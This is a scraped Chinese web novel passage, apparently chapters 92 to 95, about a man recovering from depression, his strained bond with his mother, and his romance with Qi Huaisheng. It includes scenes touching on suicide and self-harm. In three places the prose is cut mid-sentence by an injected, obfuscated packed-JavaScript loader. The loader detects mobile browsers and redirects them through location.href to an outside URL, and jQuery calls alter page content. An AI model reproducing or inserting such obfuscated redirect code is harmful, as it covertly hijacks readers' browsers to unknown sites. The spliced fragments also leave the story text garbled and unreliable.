他暂时走出警局，在冷风里抽了根烟，平复撩火的心脏。 “吃药了。”陆引坐在病床前，接过护士递来的小袋药片，精致的木拐歪倒在床头柜上，“这臭小子，就该打个电话告诉我。怎么，还等着我找你啊，捉迷藏呢。书不好好读，闲事一大把……” 陈向然还没见过作为父亲的陆引——一板一眼，唠叨又无趣。不如他授课、赏画时那般轻松、有趣、偶尔显露孩童的狡黠。陆老师的心里有星空，陈向然曾在心里如此评价。而眼前的他大约是被担忧熄灭了星辰。 陆相把自己埋进被子里，捂住耳朵，拒绝那些说辞。 陆引拗不过，只好去喊护士来劝他。他不知道药是不是非要按时吃，不吃、吃晚了有什么后果，什么也不懂，于是太急了，木拐也忘了取，拖着步伐出来的。 他抓扶门框，见陈向然还在门口等，他露出歉疚的笑：“向然啊，你先回家吧，让你陪同到这真是不好意思。” “他可不能回去。”叶知忽然走进病房，“他是我的助理。” 陆引面无表情地回头，满脸写着不理解。 “这个助理，我可不合适。陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302011|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相同学抗拒我。”陈向然摸摸口袋里的打火机，脑子里挥之不去全是齐怀生，烟瘾莫名犯了。 想找人，有些事想问他，可人海茫茫，没有方向。 齐怀生当年也这样茫然吧，他想。在医院楼下的架空回廊里点燃香烟，“咿呀咿呀”的救护车闯进大院，血红的担架从救护车里伸出，保安粗暴地吼开围观的行人，医生、护士，群人手忙脚乱地把人往急救室送，后面跟着不知所措、哭着作无谓的道歉的家属。红色被单下露出一只属于少女的纤细小臂，血痕密布，手腕处的血肉是黑红色，粘稠凸起。陈向然便明白了，缓缓呼出一大口白雾。 那孩子会活下去的，经历完这些，像他一样，继续生活下去。可除此之外，他们仅是无缘无故、因一场无声的大病浪费了人生的怪家伙，拖累周遭。 是这样么？如果是齐怀生，他一定会发出讽刺，讽刺背后藏着细腻的安慰，霸道地用他的温度撕开你的茧壳。 陈向然无声地笑。 他想起走之前，陆引喊住他，要和他谈谈陆相。就在那个天光微弱苍白的电梯间里，他把陆相那些嚣张的话语转达给陆引。 这个高中生和曾经的自己那么相似，连孤独的姿态都如水中倒影，他却厌恶这孩子不可一世的模样，替他的老师可惜——揣了多少爱和担忧，都挽不回一个逆子。陆引的头发多黑少白，比满头白发的耄耋老者更显苍老。陈向然知道，他爱孩子。 “年轻的时候，他妈妈不支持我的事业，争来吵去的就离了。俩孩子各归各。我陪这孩子少，从小到大也不太沟通。孩子嘛，青春期，难搞，弥补起来可太难了。你年轻，知道现在的孩子想什么，不如给老师支个招？”陆引微微笑着，面对窗外阳光，褶皱、细纹都被光线勾勒出来，脸颊上的皮肉耷拉下来，尽显疲态。 七年了，陈向然第一次回忆过往，没有刻意也没有抗拒。 他曾经希望林岚怎么做呢？ 多陪陪自己，不可能。而他现在独立生活，也不再需要了。 不要给自己太大压力？可不说这些话，他们之间又能说些什么？ 支持自己的选择？可就算他从不后悔，她仍然是对的。 他脑海里只剩个模糊的答案：“把您的生活告诉他吧。” “生活？” “您的热爱，您的事业，甚至是……您的苦衷。” 陆引摸着胡茬笑：“那孩子可不喜欢画，他喜欢电脑，喜欢那些乱七八糟的运算。为了让我夸他，故意花费学习的时间画画，来找我看看。我说啊，不喜欢就不要再画啦。他不听，还来。” 陈向然回想到这，叹了口气。手机屏幕晃着阳光，映照出医院大楼的影子。指尖一划，齐怀生的消息静静地躺在那。 ——以后可能经常被叫去问话，记得开手机铃声，接警局的电话。警方申请了对你的保护，但也不用勉强，不想说的不必说。 不一会儿又跳出一条。 ——这是公事，没有私情。 几缕风轻柔拂过他的发梢，还有勾动的嘴角。 陆引最后说：“这教育的事儿，有时不知怎的，就着错了道。你想让他独立，就陪少了。想让他坚强，就给不够安全感了。想多赚钱给他好教育，就错过了他的天真。满足一下自己的愿想，过点自己的生活，就成了自私的父母。不过啊，即便这样又如何呢，我们都知道，孩子是无辜的。” ——把您的生活告诉他吧。 林岚的生活又如何呢？ 93. 春夜 水影涌动，父亲的脸忽明忽暗，毫无血色。男人蹲在他面前，笑容苍白、死气。 陈向然想象水藻缠上那张笑脸，男人变成水底的僵尸，张牙舞爪。 他逃跑，跑了一次又一次，那张脸还是会回来。 “个小讨债鬼，出去耍两日，返来倒不欢喜了。” 陈向然在梨花木的老书桌前发着呆，被姥姥的方言唤醒。老人嘴里抱怨孙子，语气透着笑意。 是八岁时的光景。 村镇的旧平房，弥漫川椒、生姜、芫荽的潮涩味道，廊上一片阳光，两个大竹匾，匾里花生、枣干堆成小山，被家里的猫弄得沙沙响。 廊后是厨房，老人皱巴的双手每天都染上自来水和生菜的腥味。灶台湿漉漉的，她极小心烟囱管上的灶神纸符，一顿饭做下来，绝不让它沾湿卷角，因为换起来麻烦。 “说不定人心里欢喜死咯。”姥爷笑着抽口烟，挥手赶走了猫，蹲下身，捏捏匾里的枣儿、花生，晒得差不多的，给挑出来放到塑料筐里，“嗯……过两日，就闹着去城里黏爸妈，不要咱老家伙了，哈哈！” 陈向然小矮人一个，趴门框上才到门锁那么高。肩膀缩起来，一副委屈相。“我不去城里。”他怯生生的，说完又弱弱重复一遍：“我不去。” 小孙子开声不打招呼，姥爷吓得摸心口，正要斥他别乱吓唬老人，姥姥的声音振振传来：“然啊，咱不听你阿公瞎说。一定是你那爹，他怎么害你不欢喜了，跟阿嫲说。看阿嫲收拾他。” 除了姥姥姥爷，他和谁也不亲，不愿聊他们的事。他默默站上灶台边一塑料小凳，捧着个大瓷碗，握着大筷子搅拌鸡蛋。大瓷碗边缘磕碎一角，硌得他微微疼。 林岚来接他的时候，转学手续已经办好了。 当晚他坐在床上，床头是断了一边支架的窗棂，失神的黑眼睛与小镇夜色相觑。 林岚在哭，像村头那家修摩托的铺子，发出一阵一阵的呜呜声，揪人心。他不想听母亲呜咽，但他还是下了床，趴门缝上看林岚发脾气。 “咣当”——摔碎了一个小水缸。水哗啦啦顺着地面流向门槛，冲撞出更大的水声。 隔着门，水声闷闷的，像海里的暗流。陈向然瞪大眼睛，隔着海水，父亲和那个女人的身影鬼魅般扭曲起来。他无法从脑海中赶走。 “对不起。”平复了情绪，林岚道歉了。 姥姥一甩手：“对啥不起？我和你爸还有点退休金，供阿然读完小学，没问题呷。” “就镇上这个小学？绝对不行。他那爸本来承诺了包他学费，现在我懒得要他的钱。也不能因为这点事，耽误我儿子。” “离婚哪是‘这点事’？你这是打算——” “我换工作，做销售。门槛低，来钱也多。”林岚慢慢镇静下来，开始收拾细软，“我明天就带他走，学校那边最晚后天报到。” 姥姥望向陈向然的房门，欲言又止，只是提醒：“别给阿然太大压力。要我说，你这性子也得磨磨。” “他不压力还想怎样？”林岚气冲冲低声说，沉重的大行李箱一只手拎起来，“我老了就靠他一个，他也不能靠我一辈子。我还担心孩子给你们带久了，惯出什么毛病来。” “得，我们老家伙没用，不管你年轻人的事。”姥爷经过母女俩，举着烟枪，“撑，就死撑。前夫的抚养费不拿，非要逼自己辛苦，把孩子也拉下水。想想你自己小时候，小孩子是最需要陪伴了。” “陪着顺着宠着，都没点承受力了。”林岚嘟囔几句，想起什么，从行李箱里取了几套加厚睡衣，递给两位老人：“冬天容易冻关节，穿这个。码数应该刚好的。” 老人收了礼物也没有开心样子。女儿的困难一旦记挂，就放不下了，话也不怎么好听。 陈向然见林岚经过门前，背对老人抹去泪痕，对难听的叮嘱并不在意。 他正要上床睡觉，林岚的声音在门口响起：“还不睡啊？” 他浑身一顿…… 忘了门板松垮，一趴上去，就“隆隆”发出细响。林岚耳朵可灵。 “我马上——” “没睡把新学校的教材看看，我给你放桌上了。内容比你现在学的难，好好跟上。” “哎哎，”姥姥的声音从客厅近来，“几点了还让孩子学习。” “妈，您要是去市区学校看看，就知道有多少孩子睡得晚、没周末。要学会坚持。”林岚见姥姥要反驳，忙挤眉弄眼地哄上，“再说，我们家孩子聪明嘛，不努力岂不白瞎了。当然，劳逸结合也是要的，课内补习和课外兴趣班交叉上，有助于放松，多好。我以前想学点吉他，我爸都说像弹棉花，弦都给剪了……” 水流还在波动，汩汩涌流，深蓝的光影摇曳。地上的水滩好像被姥爷清理了，又好像还在流动。耳边有波涌声，有时沉闷，有时逐渐尖锐，乃至发出“咿咿”的耳鸣…… “轰”一声，教棍砸响讲台，台下鸦雀无声。陈向然在课上醒来。 市实验小学的校服是尼龙制，教室没开风扇，脖子给衣领闷出细汗。 某个初秋的阴天，他的鲸大约在这时候悄悄光临了。 “你们觉得……这事儿能成么？”申恺第一次抽上雪茄。只见他大摇大摆地吸一口，呛得直说“好烟、好烟”。 他实在咳得厉害，叶知看不过去，给他拍背，顺带白他一眼：“这个办法不行，就下一个。慢慢来，现在减药停药就是好转的迹象。” 何晋说：“实在没法子，就把老张也叫来，多个人。厂子有老黄他们就够了。” “嗯，剩下的都是万里长——噢噢噢别扯耳朵！”申恺连连讨饶。 叶知放开他：“什么长征，别提前悲观。” 齐怀生听警方简单汇报进展。门外申恺的哀嚎吵得他太阳穴突突地跳。 “所以这事跟洗`钱没关，就是非法牟利？”齐怀生揉了揉耳朵。 “简单来说是这样，我们已经提起上诉。这段时间保持手机通畅，到时会请你们出庭。根据情况给予受害人赔偿。”警官雷打不动，翻开下一页笔记，“另外龙先生也报了一桩案，说您是知情人。” 齐怀生的头更疼了。 “是前不久已经了结的自杀案，请问您对杨翎小姐的事知道多少？是否有涉及男方对其实施精神虐待的证据？” “那位龙先生最清楚了。”齐怀生额头青筋一跳，阴着眼神喃喃说，“说不定他是想自首……” “为什么呢？” 齐怀生怀疑自己被这死小子坑了，杨翎案他连个环节都算不上，就是局外人罢了。 倒是叶知，交出了一张奇怪的照片。那是杨翎的死亡现场照，警方根据上面的指纹找到了拍照片的人。 “我们怎么办？要配合调查吗？”申恺看叶知混乱不知所言的样子，觉得自己也帮不上忙，目光四处寻找齐怀生的身影，“生哥呢？” “他先走了。”何晋说。 “走？走去哪？” “你不是打听到了？陈向然他妈妈的去向。” 申恺懵了一会儿，终于记起陈向然找他帮过忙，还说这房子不住了，他要离开江洲去找林岚，就在今天。 “啊？”申恺将鸭舌帽往上掀掀，露出疑惑的眼神，“所以生哥是去找……可生哥怎么知道的？” 春初傍晚，城市飘了薄薄的柔灰，老城区潮湿黯淡，房间采光不算好，陈向然也没开灯，摸着黑慢悠悠收拾行李。 方才警方来电话，说了倒卖案的进展，让他准备出庭。他不在乎什么赔偿费，听到事情告一段落，犯罪方已被刑拘，也能放心离开江洲。 这回一走，不知能不能再见。 陈向然倒没有太多怅惘，忙着收拾，在杂物堆里找到一卷纸，展开是五彩的画面。 操场、树林、教学楼，油彩旧了，发干、泛黄，画里的黄昏倒更像那么回事了。白色的少年染上岁月的颜色，融入缤纷世界，别有一番风采。 他笑了笑，将画用彩带系好，留下一张便签——齐怀生所有物。 他起身检查屋子里是否还有遗漏，再看看火车出发的时间。一切妥当。 门锁倏然“咔啦咔啦”响动，外面的人转钥匙转得很急，锁栓一动，门“砰”一下打开，陈向然呆立在原地。 他是在等齐怀生的，只是想不到人来得那么快，气势汹汹。 “你去哪？”齐怀生扶着门框，好像怎么都喘不上趟，“这是什么意思？” 齐怀生一伸手，手机屏幕的亮光罩在陈向然眼前。是一条简短的告别信息，没什么奇特的内容。 “跟你说一声。”他说，“我要去——” “告别？然后离开？陈向然，真有你的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302012|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>莫名扑来一阵火气，陈向然一时懵住。他最近有些猜不到齐怀生在想什么，一会儿凶他，一会儿不理他，一会儿替他讨公道，眼下又发起脾气。 他在害怕，陈向然想到。上前握住他的手安抚：“出什么事了，和我说。” 陈向然冷静而温柔，手传来的触感是温凉的。齐怀生愣了良久，才轻轻反握住他的手，拇指摩挲着他的手背，头埋得很低，盯着他手背上发青的血管：“和你说什么……我也不知怎么说。抱歉我老是性急。” 陈向然凝视他飘忽不定的眼神，低下头，嘴角一抹笑：“该说抱歉的是我。” “……” “是我一直以为，世上那么多人，一定有人值得待在你身边。过去的人和事，就应该过去了的。” 齐怀生握得更紧，手掌微颤。 “过去了以后，慢慢的，就会有很多人填补我在你身边的位置。一些能带给你很多的、至少不让你伤心的人。” 齐怀生忽地把人拉进怀里，紧紧搂住。 “你真这么想？”他感到怀里的人挣扎，顺势将人推倒在地上，一手抵着地板，凝视他的眼里氤氲水雾，“照你这么说的话，我的七年就是笑话。我试过，往前走，经历新的事，去遇新的人。可事实就是，如果你对我来说是可以说忘就忘的，一切就简单多了。没有如果，陈向然。就算你是为我好，我又能好到哪里去？” “……” 齐怀生低头，发丝阴影掩去双目，方才一番话憋了多年，倾泻而出之后，声音弱了下去：“有时候就是这么阴差阳错吧。那时你给我一个电话。听到你不舍，还在求救，想要有人拉你一把。就凭这个，我就一定忘不了你。” 齐怀生：“我不知道那天是不是有什么人拉住了你，但我知道那个力度一定很大。可以让你抵抗到今天。” 陈向然紧紧闭上眼睛，用力揉着齐怀生的后脑勺，缓缓压下，虔诚地贴上他的嘴唇：“是你。” “胡说八道……”齐怀生嗔怪地笑了一声，反客为主，在他唇上惩罚地咬了一口。 “是你，但又不只是你。”陈向然与他分开，轻喘几口气，“有位林峰寺的师傅，说见过你，听你提起过我。他和我说……” 陈向然停顿片刻，齐怀生愈加专注地看他。 “说你在等我，很多人都在等我。” 齐怀生失笑：“就这样？” “后来想想，是我不想死。要是真的完全铁了心、毫无留恋的人，不会打电话，不会整出那么多事和世界告别。你当时在电话那头，那样挽救我，最后我的手机掉下山崖时，已被你挽回了。” 齐怀生埋在他的颈窝，深深吸了口气：“那后来为什么不找我？哪怕告诉我你还活着。” “说过了，我这样的人——唔！” 齐怀生知道他要说什么，说他自己不值得，只是个拖他人受罪的累赘，他好不起来，也不想当谁的蛀虫。齐怀生听不得这样的话，只好堵上他的嘴，吻得很深，像是要替他把所有自暴自弃囫囵吞下。 半晌，他放开唇，转向脖颈，解开爱人的衣襟，在他骨骼突出的肩头虔诚落吻。 “太瘦了。”齐怀生一点点敞开他的上衣，满是心疼地吻他的锁骨。眼皮轻轻一掀，暗色的琥珀眼在夜色中盈盈含情。 “败了你的兴致。”陈向然笑。 “你打也打我了，骂也骂我了，丢也丢过我了。还有什么能败我对你的兴致？”齐怀生毫不留情地调侃。 陈向然一身松软地躺着，深潭一样的眼睛里有月光，恍惚地凝视身上的人。半晌笑着闭上眼睛，后脑勺搁在地板上，露出白皙的脖子：“我欠你的，随你高兴。” 齐怀生感到“轰”一下，浑身上下仿佛着了烈火。脑海弦断，打开了禁地的门锁。 在和抑郁症、和一扇禁闭的心门斗争的路上，齐怀生不晓得自己奔跑了多久。他不介意永远跑下去，永远倾尽全力而磐石未动。然而有一天那扇门打开了，他曾经放掉的手再次拥抱了他。 他忽然感到累，五味杂陈。 黑暗中他吸了吸鼻子，陈向然嶙峋的手抚摸着他的脸：“对不——” 齐怀生又吻住他，不让他说下去。将他抱起，一同摔在床铺上。月光为帘，夜阑为被，深深交融缱绻。 一枝春蕾探窗入来，洒一席银辉，拨弄一双人影。 94. 面对 ——“无论你去哪，我都会找到你。” 陈向然想到临行前齐怀生说的话，感到很安心。 车窗外田野、仓房、电线杆飞快向后跑，他乘了六个小时的火车回到石川。经过海中、后街、石中，不如想象中触动，可也不自主地低眉颔首。 春雨后的老县城满是朴素、悠慢的烟火气。凉茶铺前排着队，炉上轻烟袅袅，气味清甘、微涩。糕点店供不应求，老板娘到点关门，从不给人加货。卖肉干的论斤论两，一杆秤每天要被无数双眼睛审视检查。 远处青山环绕，内海起伏浪涌，拍得渔船悠悠晃晃。 林岚卖了市区的房子，到一个小渔港附近卖了二层小房。小渔港避风，船少，出门能望见海，晴空万里时，翠山包上排排风车迎风转动。 林岚在小院子里给花草浇水。素衫轻扬，披一件棉料披肩。头发挽了个簪，晚风拂过，白丝缕缕。 母子相觑良久，林岚缓缓弯腰，放下洒水壶。 “不是和你说过，”她拍拍裙摆上的尘土，目光驻留在儿子脸上，“头发不能留这么长的。” 陈向然拨了拨短发，刘海细碎落在眉间：“不长，妈。刚剪的。” 齐怀生说了，生活从头来过，便带他剪了头发，剃了胡子，换一身衣装。淡蓝色的休闲衫敞开，背上灰色书包作旅行包，走进这个庭院。风里有淡淡的柑橘香气，夕阳入海，余晖宁静温柔。 “进门先换鞋……我是不是说过，换完鞋就得放包。”她跑来接过他肩上的背包，“然后洗手，自己要记得……” 她唠唠叨叨，除了气场萎弱，言辞态度一如从前，像对待一个放学回家的孩子一样，要给他摆放运动鞋，说他男孩子粗，不懂收拾。 “我不洗手了，妈。”他轻轻捏住背包带，“一会要出去，又该脏了。” 林岚愣了一下，嘀嘀咕咕地放开他：“我就说……我不在你身边，你就什么都不做。怎么办——” 打从前他就想，孩子不是机器，不需要被鞭策、纠正、服从每条指令。可眼下他说不出什么，只有隐晦难言的同情。 林岚背对他进屋，他看不见她的表情：“洗手，吃点水果再走。” 他没应，脱鞋进客厅。 母亲搬了家，家里还是有神龛，神像前放一檀香炉，插着香，仍有烟气。瓜果酥糖摆列开去，前后左右，遵循了老家的习俗。屋间院里太熟悉了。反应过来时，陈向然坐在红木椅上，一动不动，差点落下泪来。 他摸摸茶几边缘——原模原样，都是老家那百年祖屋的陈设。电视、折叠桌、红凳子、果盘、酒坛、挂钟……墙上的挂历细细标记了——今天是太姥爷的忌日。 林岚什么也没有忘记。 她端来一盘切好的苹果，手上沾着水珠。口中还唠叨着多吃水果蔬菜，多喝开水牛奶。 话到一半，她对上儿子的眼睛——那双眼陌生了，不似她记忆中的孩子。可面孔并无多大变化，还是杏眼、挺鼻梁、瓜子脸，见过的人都说像她。 陈向然给苹果蒙了保鲜膜，放进冰箱。说想去镇上转转，但不认路。林岚抱怨他“多大人了，路也不记”，看看外面的天气，还是与儿子挽手上街。 他备好了话，要和母亲细说。 母子同过一段漫无目的的轻松时光，大约是生来头一回。林岚全当逛集市，买一袋切好的卤鹅，挑几个色泽均匀的五谷鸡蛋，再称一斤水淋淋的新鲜包菜。老板认得这个回头客，笑问，今天怎买这么多。她说，孩子回家了，他爱吃。 旁人只道寻常，不知她等这一天，竟不知不觉等了七年。 街上有店铺、推车，有居民，就有舌根。什么前夫出轨、被抛弃的中年女人云云，难听的噱头，人最嚼得欢。陈向然暗暗带林岚拐入另一条街，离那情报站一样的小茶馆远一些。 “没什么。”林岚摸摸儿子的小臂，“市井小人多了，真去在意，日子也不用过了。知道么？你也得像妈这样。” 陈向然偷偷瞥了眼母亲。她眉头其实舒展着，眉心的川字纹路却深深凹陷，抹不去了。 那些准备好的话，关于她的年少、她的生活、她的苦楚，紧紧堵在喉咙口，没问出来。 母子无言，迎着日落漫步而去。 傍晚到海边等渔船归港，挑最新鲜的一批海产。林岚常买鲳鱼、蓝圆鰺、墨鱼仔，生蚝要鸡蛋大小的，黄姑鱼要眼珠儿晶晶亮的。港口背光，林岚要将鱼对着浑圆的夕阳，才瞧得见那鳞滑不滑，颜色鲜不鲜。 陈向然想起齐怀生说过，春初应食黄雀鱼，鲜嫩多肉。 林岚背对他，借渔民的挑钩翻捡鱼堆，和他闲话：“你小时候啊就爱吃这些，还得配甜酱油、卤味、豆酱……鲨鱼皮你一定要蘸生芥的，一般芥末不行。小不点儿人特别讲究。后来……”林岚停顿了一下，回忆撞上一面墙，断路了，“哎呀……后来到城里，没这些了，你都吃什么呀？” 陈向然不语。 儿时那老地方拆迁快二十年了，他记得一些，又记不清一些。林岚每天爱兀自碎语，也算带他回忆。 每天清晨打扫庭院，照料花草。尔后上镇街、下渔港。午后，陈向然提小锤帮母亲修两级青石阶，三两小儿咿呀从门前跑过。 闲听风雨，清茶淡饭，不问年月。 旧事不再论，这样就好。 日子就这么悠悠过去。有一天，陈向然再度背上背包，说：妈，我走了。 林岚什么也没说。浇完花，入屋里来，从抽屉里找一副老花镜，要在一个发黄的小本本上记下：“你前天说，要买个什么鞋？” “网购不好挑码，我自己买。”他最近收了第一笔赔偿费，齐怀生转到他卡里的。 林岚“哦”了一声，把纸笔塞到抽屉深处。 “那我走了。” “去吧。”意外的没有念叨，只有一个淡然的回答。 陈向然去了石川山顶。 他不走景区的路，凭记忆寻到当年齐怀生带他走的野道。拨开草丛，潮湿的泥土涩香扑鼻而来，嘎吱踩碎干草、枯叶。野道尽头是石板路，阔叶林木参天入云。 第三次走上这段路，他什么也没有想。 山峰的最高处，大铜钟到了报时点，钟声浑厚深广，像神谕一样传递到人间。他临到崖边，无意中发现一块大石下压了一张塑料纸，纸里包了枯萎的枝干。 陈向然蹲下，扯了下包装纸。上面的泥土太滑，脏了指尖，塑料纸纹丝不动。 “别看了，毕业那天我等不到叶知，就拿来送你了。” 陈向然回头，某人不知什么时候跟在他身后的，神情得意得有些欠打。 “我才不要。”陈向然轻笑，“又不是专门送我的。” “那这个绝对是‘专门’送你的。”他掏出一对小小的戏曲木偶，递出小生气派的那一只。 陈向然在身上擦了擦手，接过那只小生木偶。木偶两手一张拉开红联，神态活泼秀逸。红联有些褪色，印着“前程似锦”四个洒金大字。他扑哧一笑：“塘泽买的？” “你猜。”齐怀生微一挑眉。 “反正不是你这粗手粗脚能做的。”陈向然迎上他的目光，“阿送每天在你的魔爪下，饿得可怜巴巴的。给一把猫粮吃得可凶。” 那喵里喵气的祖宗……胖成那样装什么装，齐怀生恨恨地想。平时像个占山妖王，见到叶知和陈向然就撒娇打滚，七八年和他斗智斗勇，学精了。 齐怀生把人拉过来，在腰上狠狠掐了一把：“再说一遍？” 陈向然举着人偶，怕挤弄坏了：“哦，反正不是你这粗手——” “黎斯做的，毕业礼物。”齐怀生抵住他额头。 怀里人的耳朵尖是如何红起来的，又是如何蔓延到脸上、脖子根，全被他收进眼底。 一看便是成双成对的对偶。陈向然不禁想，在他人面前，他们竟有那么像眷侣么？越想越觉别扭，脸上越烧得厉害。 脑袋浑浊混乱之际，齐怀生在他唇上轻啄一下，沉声说：“毕业快乐。” 陈向然看着对方的眼睛，听到毕业两字，有些失落：“这时候，还毕什么业……” 齐怀生捧着他的脸颊。陈向然发现，每次他难过了，逃避了，眼帘垂落下去，爱人都喜欢吻化他的眼睛。 尔后笑：“我知道，这几年，你摸着黑过来的。危险期、药物治疗、心理复健，你都挨过了，打败死神、病魔，和你自己。心理突破永远走三步退两步，没有一朝蜕变，你走了很久才走到今天。”齐怀生将拳头放在他心口，“开始面对一切了，就得恭喜你。” 陈向然轻轻握住心口这只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302013|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手：“那我也得恭喜你，不用再面对一个疯狂的男朋友。” “错了。”齐怀生不知什么时候把他推到树荫下，张开五指，轻轻扣握住他的手，抵在树干上，“得恭喜我，把男朋友留在身边了。” 他们在荒无人烟的山巅矮树旁很深、很深地亲吻，要将错过的时光一并弥补。 齐怀生在林峰寺附近寻得一处老房子。听庙里师傅说，这家人很早进省城了，没再回来。院门前的红福字被风刮下一角，门前杂草及膝，零星开了几朵小黄花。陈向然正叹这野花儿开得鲜，要画下来，扭头就见齐怀生跟师傅借了工具，辣手摧花…… 杂草清除，锈锁用铁锤砸了，院里屋里空荡整洁。浮了些灰，扫帚一扫便干净了。齐怀生从庙里拿回寄放的行李——他将吉他也背来了，指尖一划，四弦一声，清风流水。 陈向然愣着不动。 “就不信你没带画具出来。”齐怀生抱着吉他调侃他。 他当然带了，还为林岚养的那盆四季春画了图，挂在客厅电视上方。 “有新曲么？”陈向然支起便携式画架。 “你有新画，我就有新曲。”齐怀生掏出两罐麦啤，“还有好酒。” 听曲绘花草、房屋、神像，绘弹曲人，这样的日子过了好些天。白天到山林里弹曲作画，傍晚到庙里祈福静心——静不下心，夜里便在空宅贪鱼水欢。整到第二天起不来床，便舍却山林间的高雅艺术，选择被窝里的俗世温存。 这是个开始，齐怀生这么同他说，慢慢来，我陪你。 陈向然偶有复返的迹象。 某天他想加回原来的抑郁症聊天群，想了想，向齐怀生征求意见。齐怀生满意地看到爱人坦诚而依赖的目光，就直勾勾盯在自己脸上，挥舞锅铲，勾起嘴角潇洒地留下一句：“不可以。” 陈向然故作委屈，耷拉着脑袋：“那我背着你加好了。”说完转身走了。 齐怀生一手炒菜，一边大掌一伸，把人拎回来：“怎么突然想到那个群了？” “不是突然想到。” 火光跳动，苦瓜炒蛋焦脆喷香。齐怀生听明白他说什么，关掉炉火，望着他的眼睛：“为什么一直惦记那个东西？你早就不需要了，对么？” 群里多是学生，压力大、自卑、社交障碍，想找个地方抱团寻认同，也不乏父母不重视、没有条件治疗的少年患者。一个接一个的，把自己玩进去了。 “叶知曾跟我说，她最想帮助的是青少年患者，最头疼的也是青少年患者。” 齐怀生点点头，他也听妹妹说过类似的话。 “有些小孩子以这个病为荣，隔三差五闹着去门诊、住院。医患都混脸熟了。”陈向然苦笑，“我妈说过我装病。我那时不能理解的，为什么会有人希望自己得病。” “想引人注意呗。”齐怀生玩着他的碎发，仿佛那还有根辫子，似乎有点怀念给他捋发辫时的宁静，“独自摸黑长大，那种滋味我们都知道的。” 成为特殊，成为弱者。陈向然想到陆相。 “我只是想做点什么，总能做到点什么。” “杨翎那个事有结果了。”齐怀生忽地扯了别的话题，“她的前男友长期对她精神侮辱，我看过那些聊天记录，还有杨翎自己用刀刻的血纹身，刻那男的名字。看到这些我也有无能为力的感觉。那个男的在她死去当天给她拍了照，转了医院很多人的手，才到叶知那。他交代说是要惩罚杨翎的医生。结果也吓不着她。对了，你或许可以关心一下龙皓。” “……他怎么了？” “他现在啊……”齐怀生轻笑，视线一偏，像望见什么苦涩的回忆。陈向然一双关切的眼睛看得他耳热，他搂住人，低声耳语：“我记得，你不太喜欢有火烧云的天气，对吧？” “嗯，你也不喜欢雷雨天。”陈向然明白他想说什么。 “如果那时有弥补的机会，哪怕只是揪出把他们推向深渊的罪魁祸首，为他们报个仇，那个年纪的我们一定会去做。偏偏加害者也是受害者，那个‘罪魁祸首’其实看不见也摸不着。” “社会的规训、鞭责，生来的命运……”陈向然恍然大悟，“你是说龙皓……他要报复那个人渣？” “他最好不要。” 齐怀生转身端菜上桌，装作没看到爱人眼里的惊恐。 95. 救赎 “你在想什么啊？”叶知就差把手上的广告纸呼兄长脸上，“他是我的病患，容你这么胡搞的？” “你信我。”齐怀生在阳台抽烟。还有十八分钟就满二十四小时没见到陈向然了，昨夜睡不着，黑眼圈蒙上一层烟雾，一点不像可信的模样，“他就差这一下，让他去面对。不然老惦记。” “哪一下？跑去见龙皓那个隐性病患，劝人别瞎报复，搞不好被刺激一下然后再复发一场？” “呸三下，赶紧的。”齐怀生冷着脸望对面居民楼，养狗那家子依旧管不住那尖声尖气的小畜生，“不知道你的病人有没有和你说过，药是没有用的。” 叶知回想了一下，只在经过其他医生的诊室时听到患者和家属抱怨，他们通常不当着医生的面质疑。 “不管怎么说，药调好了，就会有效果。”她叹了口气，“我知道你要说什么，生理治疗容易，心理上的难。你安排了那么多，还没把他的结理清么？” “他和我说，他想加回以前的群聊。我想了想，没禁止他。但说实话，我有点怕。他太容易共情，以前顺着他妈妈，后来为了我，还要操心陌生人，整天连累自己。”齐怀生往阳台外吐几串烟圈，香烟磕在锈栏杆上，敲敲烟灰，“抱歉，这两天又想抽几根。” 叶知摇摇头，说姨父也抽，她习惯了。 “我想让他明白一件事，这件事我曾经也钻牛角尖。路都是自己走，光说无益。” 烟雾随风袅袅，齐怀生想起上大学那天。 那时天还蒙蒙亮，齐怀生没叫醒其他人，大包小包的行李扛着拖着，早饭也不吃，就去赶清晨的火车。 哪知八十高龄的奶奶从屋里踱步出来，要送他出门。齐怀生要她回去休息，她说老人家觉少，都是这个点醒。 “这、这一次……这下去到，多久返来啊？”奶奶磕磕绊绊憋了许久，就为用普通话——只是因为孙子从江洲回来后说惯了普通话。老人家说不来，还是说了方言。 齐怀生到江洲一年，深深感觉到家乡话亲切。省城是枢纽，人口流动大，五湖四海口音混杂，他大约理解了，陈向然为什么总念叨已经夷为黄土的家乡。 “考完试我就回来。” “火车站不远，你这早要做什么？”奶奶将他拉到身边坐下，“早餐我做了，一会你带走。” 